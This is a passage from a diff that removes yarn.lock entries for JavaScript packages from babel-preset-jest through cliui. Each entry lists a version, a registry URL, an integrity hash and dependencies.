-"@babel/plugin-syntax-class-properties" "^7.8.3"
-"@babel/plugin-syntax-json-strings" "^7.8.3"
-"@babel/plugin-syntax-logical-assignment-operators" "^7.8.3"
-"@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
-"@babel/plugin-syntax-numeric-separator" "^7.8.3"
-"@babel/plugin-syntax-object-rest-spread" "^7.8.3"
-"@babel/plugin-syntax-optional-catch-binding" "^7.8.3"
-"@babel/plugin-syntax-optional-chaining" "^7.8.3"
-
-babel-preset-jest@^26.0.0:
-version "26.0.0"
-resolved "https://registry.yarnpkg.com/babel-preset-jest/-/babel-preset-jest-26.0.0.tgz#1eac82f513ad36c4db2e9263d7c485c825b1faa6"
-integrity sha512-9ce+DatAa31DpR4Uir8g4Ahxs5K4W4L8refzt+qHWQANb6LhGcAEfIFgLUwk67oya2cCUd6t4eUMtO/z64ocNw==
-dependencies:
-babel-plugin-jest-hoist "^26.0.0"
-babel-preset-current-node-syntax "^0.1.2"
-
-babel-runtime@^6.11.6, babel-runtime@^6.26.0:
-version "6.26.0"
-resolved "https://registry.yarnpkg.com/babel-runtime/-/babel-runtime-6.26.0.tgz#965c7058668e82b55d7bfe04ff2337bc8b5647fe"
-integrity sha1-llxwWGaOgrVde/4E/yM3vItWR/4=
-dependencies:
-core-js "^2.4.0"
-regenerator-runtime "^0.11.0"
-
-babel-types@^6.15.0:
-version "6.26.0"
-resolved "https://registry.yarnpkg.com/babel-types/-/babel-types-6.26.0.tgz#a3b073f94ab49eb6fa55cd65227a334380632497"
-integrity sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=
-dependencies:
-babel-runtime "^6.26.0"
-esutils "^2.0.2"
-lodash "^4.17.4"
-to-fast-properties "^1.0.3"
-
-babylon-walk@^1.0.2:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/babylon-walk/-/babylon-walk-1.0.2.tgz#3b15a5ddbb482a78b4ce9c01c8ba181702d9d6ce"
-integrity sha1-OxWl3btIKni0zpwByLoYFwLZ1s4=
-dependencies:
-babel-runtime "^6.11.6"
-babel-types "^6.15.0"
-lodash.clone "^4.5.0"
-
-backo2@1.0.2:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/backo2/-/backo2-1.0.2.tgz#31ab1ac8b129363463e35b3ebb69f4dfcfba7947"
-integrity sha1-MasayLEpNjRj41s+u2n038+6eUc=
-
-balanced-match@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.0.tgz#89b4d199ab2bee49de164ea02b89ce462d71b767"
-integrity sha1-ibTRmasr7kneFk6gK4nORi1xt2c=
-
-base64-arraybuffer@0.1.5:
-version "0.1.5"
-resolved "https://registry.yarnpkg.com/base64-arraybuffer/-/base64-arraybuffer-0.1.5.tgz#73926771923b5a19747ad666aa5cd4bf9c6e9ce8"
-integrity sha1-c5JncZI7Whl0etZmqlzUv5xunOg=
-
-base64-js@^1.0.2:
-version "1.3.1"
-resolved "https://registry.yarnpkg.com/base64-js/-/base64-js-1.3.1.tgz#58ece8cb75dd07e71ed08c736abc5fac4dbf8df1"
-integrity sha512-mLQ4i2QO1ytvGWFWmcngKO//JXAQueZvwEKtjgQFM4jIK0kU+ytMfplL8j+n5mspOfjHwoAg+9yhb7BwAHm36g==
-
-base64id@2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/base64id/-/base64id-2.0.0.tgz#2770ac6bc47d312af97a8bf9a634342e0cd25cb6"
-integrity sha512-lGe34o6EHj9y3Kts9R4ZYs/Gr+6N7MCaMlIFA3F1R2O5/m7K06AxfSeO5530PEERE6/WyEg3lsuyw4GHlPZHog==
-
-base@^0.11.1:
-version "0.11.2"
-resolved "https://registry.yarnpkg.com/base/-/base-0.11.2.tgz#7bde5ced145b6d551a90db87f83c558b4eb48a8f"
-integrity sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==
-dependencies:
-cache-base "^1.0.1"
-class-utils "^0.3.5"
-component-emitter "^1.2.1"
-define-property "^1.0.0"
-isobject "^3.0.1"
-mixin-deep "^1.2.0"
-pascalcase "^0.1.1"
-
-bcrypt-pbkdf@^1.0.0:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz#a4301d389b6a43f9b67ff3ca11a3f6637e360e9e"
-integrity sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=
-dependencies:
-tweetnacl "^0.14.3"
-
-better-assert@~1.0.0:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/better-assert/-/better-assert-1.0.2.tgz#40866b9e1b9e0b55b481894311e68faffaebc522"
-integrity sha1-QIZrnhueC1W0gYlDEeaPr/rrxSI=
-dependencies:
-callsite "1.0.0"
-
-big.js@^5.2.2:
-version "5.2.2"
-resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328"
-integrity sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==
-
-binary-extensions@^1.0.0:
-version "1.13.1"
-resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-1.13.1.tgz#598afe54755b2868a5330d2aff9d4ebb53209b65"
-integrity sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw==
-
-binary-extensions@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.0.0.tgz#23c0df14f6a88077f5f986c0d167ec03c3d5537c"
-integrity sha512-Phlt0plgpIIBOGTT/ehfFnbNlfsDEiqmzE2KRXoX1bLIlir4X/MR+zSyBEkL05ffWgnRSf/DXv+WrUAVr93/ow==
-
-bindings@^1.5.0:
-version "1.5.0"
-resolved "https://registry.yarnpkg.com/bindings/-/bindings-1.5.0.tgz#10353c9e945334bc0511a6d90b38fbc7c9c504df"
-integrity sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==
-dependencies:
-file-uri-to-path "1.0.0"
-
-blob@0.0.5:
-version "0.0.5"
-resolved "https://registry.yarnpkg.com/blob/-/blob-0.0.5.tgz#d680eeef25f8cd91ad533f5b01eed48e64caf683"
-integrity sha512-gaqbzQPqOoamawKg0LGVd7SzLgXS+JH61oWprSLH+P+abTczqJbhTR8CmJ2u9/bUYNmHTGJx/UEmn6doAvvuig==
-
-bn.js@^4.0.0, bn.js@^4.1.0, bn.js@^4.4.0:
-version "4.11.9"
-resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.11.9.tgz#26d556829458f9d1e81fc48952493d0ba3507828"
-integrity sha512-E6QoYqCKZfgatHTdHzs1RRKP7ip4vvm+EyRUeE2RF0NblwVvb0p6jSVeNTOFxPn26QXN2o6SMfNxKp6kU8zQaw==
-
-bn.js@^5.1.1:
-version "5.1.2"
-resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-5.1.2.tgz#c9686902d3c9a27729f43ab10f9d79c2004da7b0"
-integrity sha512-40rZaf3bUNKTVYu9sIeeEGOg7g14Yvnj9kH7b50EiwX0Q7A6umbvfI5tvHaOERH0XigqKkfLkFQxzb4e6CIXnA==
-
-body-parser@1.19.0, body-parser@^1.18.3:
-version "1.19.0"
-resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.19.0.tgz#96b2709e57c9c4e09a6fd66a8fd979844f69f08a"
-integrity sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==
-dependencies:
-bytes "3.1.0"
-content-type "~1.0.4"
-debug "2.6.9"
-depd "~1.1.2"
-http-errors "1.7.2"
-iconv-lite "0.4.24"
-on-finished "~2.3.0"
-qs "6.7.0"
-raw-body "2.4.0"
-type-is "~1.6.17"
-
-boolbase@^1.0.0, boolbase@~1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/boolbase/-/boolbase-1.0.0.tgz#68dff5fbe60c51eb37725ea9e3ed310dcc1e776e"
-integrity sha1-aN/1++YMUes3cl6p4+0xDcwed24=
-
-brace-expansion@^1.1.7:
-version "1.1.11"
-resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
-integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
-dependencies:
-balanced-match "^1.0.0"
-concat-map "0.0.1"
-
-braces@^2.3.1, braces@^2.3.2:
-version "2.3.2"
-resolved "https://registry.yarnpkg.com/braces/-/braces-2.3.2.tgz#5979fd3f14cd531565e5fa2df1abfff1dfaee729"
-integrity sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==
-dependencies:
-arr-flatten "^1.1.0"
-array-unique "^0.3.2"
-extend-shallow "^2.0.1"
-fill-range "^4.0.0"
-isobject "^3.0.1"
-repeat-element "^1.1.2"
-snapdragon "^0.8.1"
-snapdragon-node "^2.0.1"
-split-string "^3.0.2"
-to-regex "^3.0.1"
-
-braces@^3.0.1, braces@~3.0.2:
-version "3.0.2"
-resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.2.tgz#3454e1a462ee8d599e236df336cd9ea4f8afe107"
-integrity sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==
-dependencies:
-fill-range "^7.0.1"
-
-brfs@^1.2.0:
-version "1.6.1"
-resolved "https://registry.yarnpkg.com/brfs/-/brfs-1.6.1.tgz#b78ce2336d818e25eea04a0947cba6d4fb8849c3"
-integrity sha512-OfZpABRQQf+Xsmju8XE9bDjs+uU4vLREGolP7bDgcpsI17QREyZ4Bl+2KLxxx1kCgA0fAIhKQBaBYh+PEcCqYQ==
-dependencies:
-quote-stream "^1.0.1"
-resolve "^1.1.5"
-static-module "^2.2.0"
-through2 "^2.0.0"
-
-brorand@^1.0.1:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/brorand/-/brorand-1.1.0.tgz#12c25efe40a45e3c323eb8675a0a0ce57b22371f"
-integrity sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=
-
-browser-process-hrtime@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz#3c9b4b7d782c8121e56f10106d84c0d0ffc94626"
-integrity sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==
-
-browserify-aes@^1.0.0, browserify-aes@^1.0.4:
-version "1.2.0"
-resolved "https://registry.yarnpkg.com/browserify-aes/-/browserify-aes-1.2.0.tgz#326734642f403dabc3003209853bb70ad428ef48"
-integrity sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==
-dependencies:
-buffer-xor "^1.0.3"
-cipher-base "^1.0.0"
-create-hash "^1.1.0"
-evp_bytestokey "^1.0.3"
-inherits "^2.0.1"
-safe-buffer "^5.0.1"
-
-browserify-cipher@^1.0.0:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/browserify-cipher/-/browserify-cipher-1.0.1.tgz#8d6474c1b870bfdabcd3bcfcc1934a10e94f15f0"
-integrity sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w==
-dependencies:
-browserify-aes "^1.0.4"
-browserify-des "^1.0.0"
-evp_bytestokey "^1.0.0"
-
-browserify-des@^1.0.0:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/browserify-des/-/browserify-des-1.0.2.tgz#3af4f1f59839403572f1c66204375f7a7f703e9c"
-integrity sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A==
-dependencies:
-cipher-base "^1.0.1"
-des.js "^1.0.0"
-inherits "^2.0.1"
-safe-buffer "^5.1.2"
-
-browserify-rsa@^4.0.0, browserify-rsa@^4.0.1:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/browserify-rsa/-/browserify-rsa-4.0.1.tgz#21e0abfaf6f2029cf2fafb133567a701d4135524"
-integrity sha1-IeCr+vbyApzy+vsTNWenAdQTVSQ=
-dependencies:
-bn.js "^4.1.0"
-randombytes "^2.0.1"
-
-browserify-sign@^4.0.0:
-version "4.2.0"
-resolved "https://registry.yarnpkg.com/browserify-sign/-/browserify-sign-4.2.0.tgz#545d0b1b07e6b2c99211082bf1b12cce7a0b0e11"
-integrity sha512-hEZC1KEeYuoHRqhGhTy6gWrpJA3ZDjFWv0DE61643ZnOXAKJb3u7yWcrU0mMc9SwAqK1n7myPGndkp0dFG7NFA==
-dependencies:
-bn.js "^5.1.1"
-browserify-rsa "^4.0.1"
-create-hash "^1.2.0"
-create-hmac "^1.1.7"
-elliptic "^6.5.2"
-inherits "^2.0.4"
-parse-asn1 "^5.1.5"
-readable-stream "^3.6.0"
-safe-buffer "^5.2.0"
-
-browserify-zlib@^0.2.0:
-version "0.2.0"
-resolved "https://registry.yarnpkg.com/browserify-zlib/-/browserify-zlib-0.2.0.tgz#2869459d9aa3be245fe8fe2ca1f46e2e7f54d73f"
-integrity sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==
-dependencies:
-pako "~1.0.5"
-
-browserslist@^4.0.0, browserslist@^4.1.0, browserslist@^4.12.0, browserslist@^4.8.5:
-version "4.12.0"
-resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.12.0.tgz#06c6d5715a1ede6c51fc39ff67fd647f740b656d"
-integrity sha512-UH2GkcEDSI0k/lRkuDSzFl9ZZ87skSy9w2XAn1MsZnL+4c4rqbBd3e82UWHbYDpztABrPBhZsTEeuxVfHppqDg==
-dependencies:
-caniuse-lite "^1.0.30001043"
-electron-to-chromium "^1.3.413"
-node-releases "^1.1.53"
-pkg-up "^2.0.0"
-
-bser@2.1.1:
-version "2.1.1"
-resolved "https://registry.yarnpkg.com/bser/-/bser-2.1.1.tgz#e6787da20ece9d07998533cfd9de6f5c38f4bc05"
-integrity sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==
-dependencies:
-node-int64 "^0.4.0"
-
-buffer-equal@0.0.1:
-version "0.0.1"
-resolved "https://registry.yarnpkg.com/buffer-equal/-/buffer-equal-0.0.1.tgz#91bc74b11ea405bc916bc6aa908faafa5b4aac4b"
-integrity sha1-kbx0sR6kBbyRa8aqkI+q+ltKrEs=
-
-buffer-from@^1.0.0:
-version "1.1.1"
-resolved "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.1.tgz#32713bc028f75c02fdb710d7c7bcec1f2c6070ef"
-integrity sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==
-
-buffer-xor@^1.0.3:
-version "1.0.3"
-resolved "https://registry.yarnpkg.com/buffer-xor/-/buffer-xor-1.0.3.tgz#26e61ed1422fb70dd42e6e36729ed51d855fe8d9"
-integrity sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk=
-
-buffer@^4.3.0:
-version "4.9.2"
-resolved "https://registry.yarnpkg.com/buffer/-/buffer-4.9.2.tgz#230ead344002988644841ab0244af8c44bbe3ef8"
-integrity sha512-xq+q3SRMOxGivLhBNaUdC64hDTQwejJ+H0T/NB1XMtTVEwNTrfFF3gAxiyW0Bu/xWEGhjVKgUcMhCrUy2+uCWg==
-dependencies:
-base64-js "^1.0.2"
-ieee754 "^1.1.4"
-isarray "^1.0.0"
-
-builtin-status-codes@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz#85982878e21b98e1c66425e03d0174788f569ee8"
-integrity sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug=
-
-bytes@3.1.0:
-version "3.1.0"
-resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.0.tgz#f6cf7933a360e0588fa9fde85651cdc7f805d1f6"
-integrity sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==
-
-cache-base@^1.0.1:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/cache-base/-/cache-base-1.0.1.tgz#0a7f46416831c8b662ee36fe4e7c59d76f666ab2"
-integrity sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==
-dependencies:
-collection-visit "^1.0.0"
-component-emitter "^1.2.1"
-get-value "^2.0.6"
-has-value "^1.0.0"
-isobject "^3.0.1"
-set-value "^2.0.0"
-to-object-path "^0.3.0"
-union-value "^1.0.0"
-unset-value "^1.0.0"
-
-call-me-maybe@^1.0.1:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/call-me-maybe/-/call-me-maybe-1.0.1.tgz#26d208ea89e37b5cbde60250a15f031c16a4d66b"
-integrity sha1-JtII6onje1y95gJQoV8DHBak1ms=
-
-caller-callsite@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/caller-callsite/-/caller-callsite-2.0.0.tgz#847e0fce0a223750a9a027c54b33731ad3154134"
-integrity sha1-hH4PzgoiN1CpoCfFSzNzGtMVQTQ=
-dependencies:
-callsites "^2.0.0"
-
-caller-path@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/caller-path/-/caller-path-2.0.0.tgz#468f83044e369ab2010fac5f06ceee15bb2cb1f4"
-integrity sha1-Ro+DBE42mrIBD6xfBs7uFbsssfQ=
-dependencies:
-caller-callsite "^2.0.0"
-
-callsite@1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/callsite/-/callsite-1.0.0.tgz#280398e5d664bd74038b6f0905153e6e8af1bc20"
-integrity sha1-KAOY5dZkvXQDi28JBRU+borxvCA=
-
-callsites@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/callsites/-/callsites-2.0.0.tgz#06eb84f00eea413da86affefacbffb36093b3c50"
-integrity sha1-BuuE8A7qQT2oav/vrL/7Ngk7PFA=
-
-callsites@^3.0.0:
-version "3.1.0"
-resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73"
-integrity sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==
-
-camel-case@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/camel-case/-/camel-case-3.0.0.tgz#ca3c3688a4e9cf3a4cda777dc4dcbc713249cf73"
-integrity sha1-yjw2iKTpzzpM2nd9xNy8cTJJz3M=
-dependencies:
-no-case "^2.2.0"
-upper-case "^1.1.1"
-
-camelcase@^5.0.0, camelcase@^5.3.1:
-version "5.3.1"
-resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320"
-integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==
-
-camelcase@^6.0.0:
-version "6.0.0"
-resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-6.0.0.tgz#5259f7c30e35e278f1bdc2a4d91230b37cad981e"
-integrity sha512-8KMDF1Vz2gzOq54ONPJS65IvTUaB1cHJ2DMM7MbPmLZljDH1qpzzLsWdiN9pHh6qvkRVDTi/07+eNGch/oLU4w==
-
-caniuse-api@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/caniuse-api/-/caniuse-api-3.0.0.tgz#5e4d90e2274961d46291997df599e3ed008ee4c0"
-integrity sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==
-dependencies:
-browserslist "^4.0.0"
-caniuse-lite "^1.0.0"
-lodash.memoize "^4.1.2"
-lodash.uniq "^4.5.0"
-
-caniuse-lite@^1.0.0, caniuse-lite@^1.0.30001043:
-version "1.0.30001083"
-resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001083.tgz#52410c20c6f029f604f0d45eca0439a82e712442"
-integrity sha512-CnYJ27awX4h7yj5glfK7r1TOI13LBytpLzEgfj0s4mY75/F8pnQcYjL+oVpmS38FB59+vU0gscQ9D8tc+lIXvA==
-
-caniuse-lite@^1.0.30001084:
-version "1.0.30001085"
-resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001085.tgz#bed28bd51ff7425d33ee23e730c7f3b703711db6"
-integrity sha512-x0YRFRE0pmOD90z+9Xk7jwO58p4feVNXP+U8kWV+Uo/HADyrgESlepzIkUqPgaXkpyceZU6siM1gsK7sHgplqA==
-
-capture-exit@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/capture-exit/-/capture-exit-2.0.0.tgz#fb953bfaebeb781f62898239dabb426d08a509a4"
-integrity sha512-PiT/hQmTonHhl/HFGN+Lx3JJUznrVYJ3+AQsnthneZbvW7x+f08Tk7yLJTLEOUvBTbduLeeBkxEaYXUOUrRq6g==
-dependencies:
-rsvp "^4.8.4"
-
-caseless@~0.12.0:
-version "0.12.0"
-resolved "https://registry.yarnpkg.com/caseless/-/caseless-0.12.0.tgz#1b681c21ff84033c826543090689420d187151dc"
-integrity sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=
-
-chalk@1.x, chalk@^1.1.3:
-version "1.1.3"
-resolved "https://registry.yarnpkg.com/chalk/-/chalk-1.1.3.tgz#a8115c55e4a702fe4d150abd3872822a7e09fc98"
-integrity sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=
-dependencies:
-ansi-styles "^2.2.1"
-escape-string-regexp "^1.0.2"
-has-ansi "^2.0.0"
-strip-ansi "^3.0.0"
-supports-color "^2.0.0"
-
-chalk@^2.0.0, chalk@^2.0.1, chalk@^2.1.0, chalk@^2.3.1, chalk@^2.4.1, chalk@^2.4.2:
-version "2.4.2"
-resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424"
-integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==
-dependencies:
-ansi-styles "^3.2.1"
-escape-string-regexp "^1.0.5"
-supports-color "^5.3.0"
-
-chalk@^4.0.0:
-version "4.1.0"
-resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.0.tgz#4e14870a618d9e2edd97dd8345fd9d9dc315646a"
-integrity sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==
-dependencies:
-ansi-styles "^4.1.0"
-supports-color "^7.1.0"
-
-char-regex@^1.0.2:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/char-regex/-/char-regex-1.0.2.tgz#d744358226217f981ed58f479b1d6bcc29545dcf"
-integrity sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==
-
-"chokidar@>=2.0.0 <4.0.0":
-version "3.4.0"
-resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.4.0.tgz#b30611423ce376357c765b9b8f904b9fba3c0be8"
-integrity sha512-aXAaho2VJtisB/1fg1+3nlLJqGOuewTzQpd/Tz0yTg2R0e4IGtshYvtjowyEumcBv2z+y4+kc75Mz7j5xJskcQ==
-dependencies:
-anymatch "~3.1.1"
-braces "~3.0.2"
-glob-parent "~5.1.0"
-is-binary-path "~2.1.0"
-is-glob "~4.0.1"
-normalize-path "~3.0.0"
-readdirp "~3.4.0"
-optionalDependencies:
-fsevents "~2.1.2"
-
-chokidar@^2.0.4, chokidar@^2.1.5:
-version "2.1.8"
-resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-2.1.8.tgz#804b3a7b6a99358c3c5c61e71d8728f041cff917"
-integrity sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==
-dependencies:
-anymatch "^2.0.0"
-async-each "^1.0.1"
-braces "^2.3.2"
-glob-parent "^3.1.0"
-inherits "^2.0.3"
-is-binary-path "^1.0.0"
-is-glob "^4.0.0"
-normalize-path "^3.0.0"
-path-is-absolute "^1.0.0"
-readdirp "^2.2.1"
-upath "^1.1.1"
-optionalDependencies:
-fsevents "^1.2.7"
-
-ci-info@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/ci-info/-/ci-info-2.0.0.tgz#67a9e964be31a51e15e5010d58e6f12834002f46"
-integrity sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==
-
-cipher-base@^1.0.0, cipher-base@^1.0.1, cipher-base@^1.0.3:
-version "1.0.4"
-resolved "https://registry.yarnpkg.com/cipher-base/-/cipher-base-1.0.4.tgz#8760e4ecc272f4c363532f926d874aae2c1397de"
-integrity sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==
-dependencies:
-inherits "^2.0.1"
-safe-buffer "^5.0.1"
-
-class-utils@^0.3.5:
-version "0.3.6"
-resolved "https://registry.yarnpkg.com/class-utils/-/class-utils-0.3.6.tgz#f93369ae8b9a7ce02fd41faad0ca83033190c463"
-integrity sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==
-dependencies:
-arr-union "^3.1.0"
-define-property "^0.2.5"
-isobject "^3.0.0"
-static-extend "^0.1.1"
-
-clean-css@^4.2.1:
-version "4.2.3"
-resolved "https://registry.yarnpkg.com/clean-css/-/clean-css-4.2.3.tgz#507b5de7d97b48ee53d84adb0160ff6216380f78"
-integrity sha512-VcMWDN54ZN/DS+g58HYL5/n4Zrqe8vHJpGA8KdgUXFU4fuP/aHNw8eld9SyEIyabIMJX/0RaY/fplOo5hYLSFA==
-dependencies:
-source-map "~0.6.0"
-
-cli-cursor@^2.1.0:
-version "2.1.0"
-resolved "https://registry.yarnpkg.com/cli-cursor/-/cli-cursor-2.1.0.tgz#b35dac376479facc3e94747d41d0d0f5238ffcb5"
-integrity sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=
-dependencies:
-restore-cursor "^2.0.0"
-
-cli-spinners@^1.1.0:
-version "1.3.1"
-resolved "https://registry.yarnpkg.com/cli-spinners/-/cli-spinners-1.3.1.tgz#002c1990912d0d59580c93bd36c056de99e4259a"
-integrity sha512-1QL4544moEsDVH9T/l6Cemov/37iv1RtoKf7NJ04A60+4MREXNfx/QvavbH6QoGdsD4N4Mwy49cmaINR/o2mdg==
-
-clipboard@^2.0.0:
-version "2.0.6"
-resolved "https://registry.yarnpkg.com/clipboard/-/clipboard-2.0.6.tgz#52921296eec0fdf77ead1749421b21c968647376"
-integrity sha512-g5zbiixBRk/wyKakSwCKd7vQXDjFnAMGHoEyBogG/bw9kTD9GvdAvaoRR1ALcEzt3pVKxZR0pViekPMIS0QyGg==
-dependencies:
-good-listener "^1.2.2"
-select "^1.1.2"
-tiny-emitter "^2.0.0"
-
-cliui@^5.0.0:
-version "5.0.0"
-resolved "https://registry.yarnpkg.com/cliui/-/cliui-5.0.0.tgz#deefcfdb2e800784aa34f46fa08e06851c7bbbc5"
-integrity sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==
-dependencies:
-string-width "^3.1.0"
-strip-ansi "^5.2.0"
-wrap-ansi "^5.1.0"
-
-cliui@^6.0.0:
-version "6.0.0"
-resolved "https://registry.yarnpkg.com/cliui/-/cliui-6.0.0.tgz#511d702c0c4e41ca156d7d0e96021f23e13225b1"
